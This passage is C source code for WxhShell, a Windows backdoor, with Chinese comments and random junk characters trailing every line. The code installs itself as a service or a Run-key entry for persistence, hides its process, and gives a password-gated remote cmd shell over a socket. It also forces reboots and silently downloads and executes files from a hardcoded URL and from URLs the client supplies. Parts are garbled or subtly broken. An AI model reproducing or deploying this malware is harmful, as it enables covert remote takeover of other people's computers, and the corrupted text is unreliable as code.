    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M@[W"f Wq  
    if(Boot(SHUTDOWN)) 6KddHyFz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ci`o;KVj  
    else { Ark]>4x>  
    closesocket(wsh); T5:Q_o]  
    ExitThread(0); lHM+<Z  
    } 6 f*:;  
    break; `2f/4]fY  
    } Z9vMz3^N  
  // 获取shell -06G.;W\^  
  case 's': { Bsa;,  
    CmdShell(wsh); NBk0P*SI  
    closesocket(wsh); ~4 fE`-O  
    ExitThread(0); [Hh*lKg  
    break; iT'doF  
  } $_S-R 3L\  
  // 退出 #)'Iqaq7  
  case 'x': { )LGVR 3#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); . 1kB8&}  
    CloseIt(wsh); OBWb0t5H?  
    break; 'I,a 29  
    } +La2-I  
  // 离开 ,`f]mv l  
  case 'q': { in>+D|q c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); , >7PG2 a  
    closesocket(wsh); L3b0e_8>R  
    WSACleanup(); (OiV IH  
    exit(1); CnZ!b_J  
    break; cN@_5  
        } 2;gvo*k  
  } TtkHMPlm_  
  } kL DpZ{  
d88A.Z3w  
  // 提示信息 9~hW8{#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p{,#H/+J  
} y i$+rPF1  
  } |enLv12Gm  
w"{DLN[Qw  
  return; Va )W[I  
} %`i*SF(gV  
3dN`Q:1R9  
// shell模块句柄 p7QZn.,=u  
int CmdShell(SOCKET sock) /?;'y,(Q  
{ fXMY.X>f  
STARTUPINFO si; |OeWM  
ZeroMemory(&si,sizeof(si)); Gazva/e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v>keZZOs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yksnsHs}d  
PROCESS_INFORMATION ProcessInfo; D>|`+=1'0"  
char cmdline[]="cmd"; )Fx]LeI;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ."wF86jW|  
  return 0; !h #ZbErW  
} %SC Jmn2  
tK;xW  
// 自身启动模式 SZH`-xb!+5  
int StartFromService(void) /Bt!xSI  
{  26p[x'W  
typedef struct !7DDPJ~  
{ LK DfV  
  DWORD ExitStatus;  .2&L.  
  DWORD PebBaseAddress; p3vf7eqn  
  DWORD AffinityMask; W5Jw^,iPd  
  DWORD BasePriority; *v%y;^{k[/  
  ULONG UniqueProcessId;  x+cL(R  
  ULONG InheritedFromUniqueProcessId; uH*6@aYPo  
}   PROCESS_BASIC_INFORMATION; _0+X32HjJ  
GST#b6S  
PROCNTQSIP NtQueryInformationProcess; *Z#OfB4}  
vv.E6D^x(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [gT}<W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JU17]gQ  
iyn9[>j e  
  HANDLE             hProcess; - VJx)g  
  PROCESS_BASIC_INFORMATION pbi; loIb}8  
a <C?- g|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JOuyEPy  
  if(NULL == hInst ) return 0; opH!sa@U  
*;@wPT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1 !_p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TVNgj.`+u!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %tP*_d:  
Q0(6n8i  
  if (!NtQueryInformationProcess) return 0; Ry >y  
Po58@g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yx Om=V  
  if(!hProcess) return 0; l/={aF7+  
D^4nT,&8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Oa/zE H  
P<IDb%W  
  CloseHandle(hProcess); Bf*>q*%B{  
lWYp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F q~uuQ  
if(hProcess==NULL) return 0; !'H$08Ql}  
# ][i!9$  
HMODULE hMod; R%KF/1;/  
char procName[255]; b*Y Wd3  
unsigned long cbNeeded; @Fc:9a@  
US$$ADq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @dv8 F "v  
?JZ$M  
  CloseHandle(hProcess); g4A{RI  
e@vtJaSu  
if(strstr(procName,"services")) return 1; // 以服务启动 ]mMJ6n  
42]7N3:'  
  return 0; // 注册表启动 #_.J kY  
} l~"T>=jq3  
SAdT#0J  
// 主模块 2 `>a(  
int StartWxhshell(LPSTR lpCmdLine) BP9#}{kE  
{ %rb$tKk  
  SOCKET wsl; 9nN1f@Y  
BOOL val=TRUE; 36{GZDGQ  
  int port=0; >[Vc$[62  
  struct sockaddr_in door; &Pb:P?I  
J$51z  
  if(wscfg.ws_autoins) Install(); N`Q.u-'  
8</wQ6&|  
port=atoi(lpCmdLine); =dPokLXn  
{R ),7U8  
if(port<=0) port=wscfg.ws_port; k7iko{5D  
|^l_F1+w  
  WSADATA data; {V/>5pz4e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \Wfw\x0.  
ES4Wtc)&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AY5iTbL1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y5tyFi#w[  
  door.sin_family = AF_INET; ai-s9r'MI?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7}VqXUwabx  
  door.sin_port = htons(port); :m<&Ff}  
l^&#9d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _f0AV;S:vd  
closesocket(wsl); t}eyfflZ  
return 1; %]Z4b;W[Y  
} '{AB{)1  
aG]>{(~cL  
  if(listen(wsl,2) == INVALID_SOCKET) { pA*C|g  
closesocket(wsl); w*6b%h%ww  
return 1; +7b8ye  
} \<pr28  
  Wxhshell(wsl); y;ElSt;S  
  WSACleanup(); :C>7HEh-2_  
 ;v.[aq  
return 0; i3,.E]/wX@  
KZjh<sjX|  
} ~bZ =]i  
0 cycnOd  
// 以NT服务方式启动 m}'_Poc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XX/gS=NE#.  
{ \Sd8PGl*'  
DWORD   status = 0; H<Sf0>OA  
  DWORD   specificError = 0xfffffff; cR3d& /_,U  
7Jlkn=9e:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a%r!55.   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y_CVDKdcY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V^,gpTyv*  
  serviceStatus.dwWin32ExitCode     = 0; X8*g#lO?  
  serviceStatus.dwServiceSpecificExitCode = 0; -F7F 6!s  
  serviceStatus.dwCheckPoint       = 0; J.yM@wPS>  
  serviceStatus.dwWaitHint       = 0; w1G(s$;C  
T2Yf7Szp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <}J !_$A  
  if (hServiceStatusHandle==0) return; `xzKRId0  
B4b'0p  
status = GetLastError(); |H t5a.  
  if (status!=NO_ERROR) z&gma Ywq  
{ (S!UnBb&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `2 <:$]  
    serviceStatus.dwCheckPoint       = 0; <;Hb7p3N  
    serviceStatus.dwWaitHint       = 0; zhw*Bed<  
    serviceStatus.dwWin32ExitCode     = status; B!/kC)bF:  
    serviceStatus.dwServiceSpecificExitCode = specificError; =R=V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  _BP%@o  
    return; ^f,4=-  
  } !Axe}RD'  
!}!KT(% %  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6X@z(EEL  
  serviceStatus.dwCheckPoint       = 0; 'u<e<hU  
  serviceStatus.dwWaitHint       = 0; G^Gs/- f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .~o{i_JH  
} |3FI\F;^q  
9F807G\4Qt  
// 处理NT服务事件,比如:启动、停止 4fKvB@O@.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9;L4\  
{ ;3/}"yG<p  
switch(fdwControl) ^i8,9T'=  
{ q8$t4_pF  
case SERVICE_CONTROL_STOP:  NAD^10  
  serviceStatus.dwWin32ExitCode = 0; ~5HT _B U=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %<>:$4U@]  
  serviceStatus.dwCheckPoint   = 0; lBfthLBa  
  serviceStatus.dwWaitHint     = 0; \na$Sb+  
  { uJ2ZHrJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H7'42J@  
  } QDn_`c  
  return; r4mh:T4i  
case SERVICE_CONTROL_PAUSE: Sl8+A+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; STnMBz7  
  break; aE'nW_f  
case SERVICE_CONTROL_CONTINUE: \s#~ %l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kx(beaf  
  break; 1;/SXJ s  
case SERVICE_CONTROL_INTERROGATE: b;VIR,2  
  break; ''9]`B,:a0  
}; G %sO{k7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6vK`J"d{~D  
} =CFjG)L  
O H>.N"IG  
// 标准应用程序主函数 9^!.!%6O$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9YI@c_1 Q  
{ ;((t|  
'KjH|u  
// 获取操作系统版本 |6Y:W$7k  
OsIsNt=GetOsVer(); 8~(,qU8-N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \r IOnZ.WK  
Hpix:To  
  // 从命令行安装 +1wEoU.l2  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0cG[<\qT  
+~V_^-JG&  
  // 下载执行文件 ]izHn;+  
if(wscfg.ws_downexe) { ) r.Wge  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m^oG9&";  
  WinExec(wscfg.ws_filenam,SW_HIDE); LhAN( [  
} 1vq2`lWpx  
d[?RL&hJO  
if(!OsIsNt) { 4vL\t uoz  
// 如果时win9x,隐藏进程并且设置为注册表启动 O + aK#eF  
HideProc(); qVh?%c1.Y  
StartWxhshell(lpCmdLine); MX]#|hEeQ  
} Lz1KDXr`)+  
else _t-6m2A  
  if(StartFromService()) 3YLK?X8  
  // 以服务方式启动 P1OYS\  
  StartServiceCtrlDispatcher(DispatchTable);  C@*x  
else er_6PV  
  // 普通方式启动 oL~1M=r  
  StartWxhshell(lpCmdLine); }m<+tn3m  
sFZdj0tQ4  
return 0; $@6q5Iz!&  
} (72%au  
U)'YR$2<  
R>"pJbS;L  
L<dh\5#p9Y  
=========================================== #!_4ZX  
ulALGzPh  
\'=svJ   
P6%qNR/ x  
$|7"9W}m*  
C)m@/w  
" r4u ,I<ZbH  
]A[}:E 5}  
#include <stdio.h> M+")*Opq  
#include <string.h> Wg%]  
#include <windows.h> +ase>'<N#  
#include <winsock2.h> 8o:h/F  
#include <winsvc.h> (;g/wb:  
#include <urlmon.h> !QdX+y<re  
t~qSiHw  
#pragma comment (lib, "Ws2_32.lib") 5 xr2  
#pragma comment (lib, "urlmon.lib") S'RRe84 C  
Pjq9BK9p  
#define MAX_USER   100 // 最大客户端连接数 *As"U99(  
#define BUF_SOCK   200 // sock buffer J,v024TM  
#define KEY_BUFF   255 // 输入 buffer b6;MTz*k>  
L2Cb/!z`c  
#define REBOOT     0   // 重启 0>m$e(Z  
#define SHUTDOWN   1   // 关机 alRz@N  
5n>zJ ~  
#define DEF_PORT   5000 // 监听端口 J_+2]X7n  
kK6t|Yn&  
#define REG_LEN     16   // 注册表键长度 {6LS$3}VM  
#define SVC_LEN     80   // NT服务名长度 sz%]rN6$  
4NRj>y  
// 从dll定义API E @r &K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Lwtp,.)pR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X%I@4 B7Ts  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -c8h!.Q$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  uWMSn   
.HTRvE`X  
// wxhshell配置信息 k_1;YO BF  
struct WSCFG { BV<_1 WT}  
  int ws_port;         // 监听端口 0 {d)f1  
  char ws_passstr[REG_LEN]; // 口令 &9gI?b8  
  int ws_autoins;       // 安装标记, 1=yes 0=no KY2z)#/  
  char ws_regname[REG_LEN]; // 注册表键名 cC9Zc#aK  
  char ws_svcname[REG_LEN]; // 服务名 86KK Y2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %*q^i}5)E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OtAAzc!dQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z[ !kEW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bOYM-\ {y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dM}c-=w`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u=PLjrB~}  
8fQfu'LyjY  
}; fM& fqI  
) F -8  
// default Wxhshell configuration K d#(eGe  
struct WSCFG wscfg={DEF_PORT, ~"bBwPI  
    "xuhuanlingzhe", ?Z!R  
    1, |pknaz  
    "Wxhshell", bWp)'mx5u  
    "Wxhshell", (3K,f4S@  
            "WxhShell Service", 1.,KN:qe  
    "Wrsky Windows CmdShell Service", t\:=|t,  
    "Please Input Your Password: ", <2O#!bX1  
  1, y'6lfThT  
  "http://www.wrsky.com/wxhshell.exe", >} Mw"   
  "Wxhshell.exe" `o{_+Li9  
    }; c=-qbG0`  
1 "t9x.  
// 消息定义模块 8YPX8d8u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lt'N{LFvc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ) C\/(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )`<&~>qp  
char *msg_ws_ext="\n\rExit."; `p)U6J  
char *msg_ws_end="\n\rQuit."; 25 U+L  
char *msg_ws_boot="\n\rReboot..."; =^zGn+@z  
char *msg_ws_poff="\n\rShutdown..."; Fv(FRZ)  
char *msg_ws_down="\n\rSave to "; 3:w_49~: ~  
|A|K);  
char *msg_ws_err="\n\rErr!"; )yz)Fw|&  
char *msg_ws_ok="\n\rOK!"; Bs '=YK$  
kTzO4s?  
char ExeFile[MAX_PATH]; [@pumH>  
int nUser = 0; `S3)uV]I  
HANDLE handles[MAX_USER]; QX a2qxTc  
int OsIsNt; zk@s#_3ct  
x!7!)]h  
SERVICE_STATUS       serviceStatus; mWP&N#vwh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6c>:h)?  
<RbsQ^U  
// 函数声明 Q"!GdKM  
int Install(void); lkp$rJ#6  
int Uninstall(void); `.~*pT*u  
int DownloadFile(char *sURL, SOCKET wsh); zDm3 $P=  
int Boot(int flag); E&"V~  
void HideProc(void); >CcDG  
int GetOsVer(void); c[3x>f0  
int Wxhshell(SOCKET wsl); klc$n07  
void TalkWithClient(void *cs); 8B "^}y\0  
int CmdShell(SOCKET sock); &\ad.O/Q  
int StartFromService(void); U.Z5;E0:  
int StartWxhshell(LPSTR lpCmdLine); 0Bkc93  
5)rN#_BKj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :Ez*<;pF'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }0/l48G  
cl{mRt0  
// 数据结构和表定义 I !lR 7%  
SERVICE_TABLE_ENTRY DispatchTable[] = M`9|8f,!a  
{ ".pQM.T  
{wscfg.ws_svcname, NTServiceMain}, 1(i%nX<U  
{NULL, NULL} _K!)0p  
}; 1'\s7P  
-) +B!"1  
// 自我安装 }t|i1{%_  
int Install(void) BNO+-ob-  
{ X-CoC   
  char svExeFile[MAX_PATH]; O"X7 DgbC  
  HKEY key; 9B>P Qbs  
  strcpy(svExeFile,ExeFile); }Q^*Zq9-  
mtLiS3Nk8  
// 如果是win9x系统,修改注册表设为自启动 (6 RWI#  
if(!OsIsNt) {  zDxJK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,CBE&g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J{5p4bkb  
  RegCloseKey(key); }dU!PZ9N)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SY}"4=M?l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xe\v6gbD  
  RegCloseKey(key); #Hl?R5  
  return 0; L|'B*  
    } 05jjLM'e  
  } bx-:aC)]2  
} _$8:\[J  
else { z 63y8  
# x X  
// 如果是NT以上系统,安装为系统服务 @'Pay)P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `0+-:sXZ6  
if (schSCManager!=0) )g^O'e=m  
{ pUu<0a^  
  SC_HANDLE schService = CreateService jnM}N:v  
  ( LXth-j=]  
  schSCManager, s._,IW;   
  wscfg.ws_svcname, g">^#^hBE  
  wscfg.ws_svcdisp, {=,I>w]T|W  
  SERVICE_ALL_ACCESS, S`TQWWQo;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <1QXZfQ"  
  SERVICE_AUTO_START, ]{t!J^Xn  
  SERVICE_ERROR_NORMAL, HRCnjem/v\  
  svExeFile, * ]D{[hV  
  NULL, YB:}L b  
  NULL, I%<pS ,p  
  NULL,  niyxZ<Z  
  NULL, hdmKD0  
  NULL 7^d7:1M  
  ); \W\*'C8q\  
  if (schService!=0) 9pWSvalw9  
  { *dC&*6Rx  
  CloseServiceHandle(schService); 6y^GMlsI  
  CloseServiceHandle(schSCManager); {lppv(U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U+[ "b-c  
  strcat(svExeFile,wscfg.ws_svcname); m !i`|]m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eq<!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .Ep&O#  
  RegCloseKey(key); E},zB*5TH  
  return 0; ]9W7]$  
    } 5e?<x>e  
  } tCw B 7 c-  
  CloseServiceHandle(schSCManager); 7y.iXe!P  
} ao|n<*}  
} V&Rwj_Y  
`z7,HJ.0c  
return 1; _lm^v%J$  
} Zdfh*MHMg  
B;piO-hH  
// 自我卸载 =NNxe"Kd;U  
int Uninstall(void) 3kwkU  
{ W|s" ;EAM  
  HKEY key; M7&G9SGZ  
P>`|.@  
if(!OsIsNt) { nC!L<OMr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YJ~mcaw  
  RegDeleteValue(key,wscfg.ws_regname); O*W<za;  
  RegCloseKey(key); 8 tIy"5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m4'jTC$  
  RegDeleteValue(key,wscfg.ws_regname); Y; to9Kv$  
  RegCloseKey(key); 6V#EEb  
  return 0; <jM { <8-  
  } 2Je]dj4  
} -_O j iQ R  
} 3od16{YH  
else { NBLjBa%eL  
-YrMVoZl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !E)|[:$XT  
if (schSCManager!=0) f=S2O_Ee  
{ Imq-5To#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T{yJL<  
  if (schService!=0) roBb8M|q  
  { ~_g{P3  
  if(DeleteService(schService)!=0) { @S>;t)\J  
  CloseServiceHandle(schService); Ap4.c8f?Q-  
  CloseServiceHandle(schSCManager); $~%h4  
  return 0; 4x#tUzb;  
  } lXzm)  
  CloseServiceHandle(schService); !aL=R)G&e  
  } ~CdW: t  
  CloseServiceHandle(schSCManager); d9%P[(yM^  
} /?Mr2!3N  
} Y hC|hDC  
l@-h.tS  
return 1; (=EDqAZg  
} t% <y^Wa=  
<$WS~tTz  
// 从指定url下载文件 dep"$pys>  
int DownloadFile(char *sURL, SOCKET wsh) j0(jXAc;UB  
{ rUAt`ykTmN  
  HRESULT hr;  _-9cGm v  
char seps[]= "/"; DQaE9gmC  
char *token; qV/>d' ,  
char *file; & d$X:  
char myURL[MAX_PATH]; PrA(==FX/  
char myFILE[MAX_PATH]; hhFO,  
{Qn{w%!|  
strcpy(myURL,sURL); (Nv -wU  
  token=strtok(myURL,seps); j2.7b1s  
  while(token!=NULL) AYpvGl'  
  { "^a"`?J  
    file=token; V w58w`e  
  token=strtok(NULL,seps); 1xkrh qq  
  } W8;!rFW  
G#^0Bh&  
GetCurrentDirectory(MAX_PATH,myFILE); I3d}DpPx%  
strcat(myFILE, "\\"); 6]kBG?m0  
strcat(myFILE, file); UT9u?  
  send(wsh,myFILE,strlen(myFILE),0); Y:, rN  
send(wsh,"...",3,0); dM P'Vnfj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B&0 W P5OF  
  if(hr==S_OK) g|7o1{   
return 0; 22U`1AD3U  
else 5,g +OY=\  
return 1; ={V@Y-5T  
{ I\og  
} "k{so',7z  
SgehOu  
// 系统电源模块 k+ w Ji  
int Boot(int flag) u *rP 8GuS  
{ 1 <+aF,  
  HANDLE hToken; hqmE]hwc  
  TOKEN_PRIVILEGES tkp; 79exZ7|  
lG%697P  
  if(OsIsNt) { #jW=K&;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^\?Rh(pu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;l ZKgi8`  
    tkp.PrivilegeCount = 1; 0<NS1y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <r$h =hM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]+W){W=ai  
if(flag==REBOOT) { ^879sI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >7%T%2N  
  return 0; vc&+qI+I3  
} {7z]+h  
else { Br 7q.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ._^ne=Lx  
  return 0; tZz%x?3G  
} j&'6|s{  
  } ZL\^J8PRK  
  else { HbsNF~;  
if(flag==REBOOT) { jYRSV7d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \&;y:4&l8  
  return 0; 1p$(\  
} to</  
else { h%ys::\zF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x]x3iFD  
  return 0; n+ebi>}P  
} wGKxT ap  
} >{tn2Fkg>  
m1Ya  
return 1; 4=Ru{ewRV  
} `hkvxt  
f(D'qV T{  
// win9x进程隐藏模块 9]oT/ooM  
void HideProc(void) ZZI} Ot{  
{ @Xl(A]w%!  
^]R_t@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N'WTIM3W  
  if ( hKernel != NULL ) W6NhJ#M7  
  { if|5v^/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~^Cx->l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i~]6 0M>  
    FreeLibrary(hKernel); *pa hZiO  
  } JR.)CzC  
|ffHOef  
return; {]]%0!n\  
} #&Tm%CvB  
\#:  W  
// 获取操作系统版本 KJec/qca  
int GetOsVer(void) >ceC8"}J5M  
{ X1.-C@o  
  OSVERSIONINFO winfo; 9m$"B*&6G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5S!#^>_  
  GetVersionEx(&winfo); +\Jo^\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?;~E*kzO&  
  return 1; K-TsSW$}  
  else ?m]vk|>  
  return 0; JHa1lj  
} zU&Iy_Ke.  
q=88*Y  
// 客户端句柄模块 azv173XZ  
int Wxhshell(SOCKET wsl) ^t4^gcoZ4Z  
{ 1*hEbO  
  SOCKET wsh; #wIWh^^ Zy  
  struct sockaddr_in client; 1cOR?=G~  
  DWORD myID; 3=uhy|f! /  
3xs<w7  
  while(nUser<MAX_USER) >B0AJW/u  
{ K^fs #7  
  int nSize=sizeof(client); zBy} >Jx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R %RbC!P  
  if(wsh==INVALID_SOCKET) return 1;  N~$>| gn  
#9|&;C5',!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h^=;\ng1l  
if(handles[nUser]==0) $~FZJ@qa  
  closesocket(wsh); <WIIurp  
else #E!^oZm<Z  
  nUser++; .ifz9 jM'  
  } )v;O2z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x>EL|Q=?  
9$HKP9G  
  return 0; 3XQa%|N(  
} b V  EJ  
LhLAQ2~  
// 关闭 socket GoybkwFjZ  
void CloseIt(SOCKET wsh) w~6UOA8}  
{ g0zzDv7~  
closesocket(wsh); Mrrpm% Y  
nUser--; sr;&/l#7h  
ExitThread(0); >ZOlSLu  
} 5m~9Vl-&  
$XQgat@&]  
// 客户端请求句柄 \09A"fs{  
void TalkWithClient(void *cs) fVn4=d6X  
{ 06Wqfzceb  
$4g {4-)  
  SOCKET wsh=(SOCKET)cs; o^2MfFS  
  char pwd[SVC_LEN]; ZXb|3|D  
  char cmd[KEY_BUFF]; TbD  
char chr[1]; =8 @DYz'  
int i,j; LH4#p%Pb%  
nu\AEFT  
  while (nUser < MAX_USER) { g J |#xZ  
%.=}v7&<z  
if(wscfg.ws_passstr) { !lfE7|\p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vpg>K #w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t~ {O)tt  
  //ZeroMemory(pwd,KEY_BUFF); (5!'42  
      i=0; 2JK '!Ry)  
  while(i<SVC_LEN) { s_y8+BJaV  
vcu@_N1Dc  
  // 设置超时 KuJ9bn{u!C  
  fd_set FdRead; UPGUJ>2Z  
  struct timeval TimeOut; @!OXLM   
  FD_ZERO(&FdRead); W_M#Gi/ AL  
  FD_SET(wsh,&FdRead); X\;:aRDS  
  TimeOut.tv_sec=8; Im~DK  
  TimeOut.tv_usec=0; Z4/D38_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8B*(P>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c~(61Sn]  
3&})gU&a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GxzO|vFQ  
  pwd=chr[0]; Aeh #  
  if(chr[0]==0xd || chr[0]==0xa) { *S*49Hq7c  
  pwd=0; zk{d*gN  
  break; "e"#k}z9  
  } C1NU6iV^z  
  i++; U 2YY   
    } tsg`c;{  
J*rYw5QB  
  // 如果是非法用户,关闭 socket .4v?/t1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qvc< _k^  
} W2X`%Tx0  
"Y<;R+z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H14Q-2U1xa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a9e0lW:=c  
m,\+RUW'  
while(1) { y]yl7g =~  
FcM)v"bF&]  
  ZeroMemory(cmd,KEY_BUFF); =i  vlS  
bX2BEa8<"  
      // 自动支持客户端 telnet标准   b, a7XANsh  
  j=0; 129\H< m  
  while(j<KEY_BUFF) { .Qrpz^wdt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H]tD~KM<  
  cmd[j]=chr[0]; |c0^7vrC  
  if(chr[0]==0xa || chr[0]==0xd) { fd *XK/h  
  cmd[j]=0; R-m5(  
  break; %/I:r7UR{  
  } By@65KmR"  
  j++; 3=n6N TL  
    } V$hL\`e  
CsZm8oL$  
  // 下载文件 Mbxl{M >  
  if(strstr(cmd,"http://")) { d;dT4vx$[M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eQuw uT  
  if(DownloadFile(cmd,wsh)) 8i[TeW"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kuh3.1#o  
  else H (;@7dh  
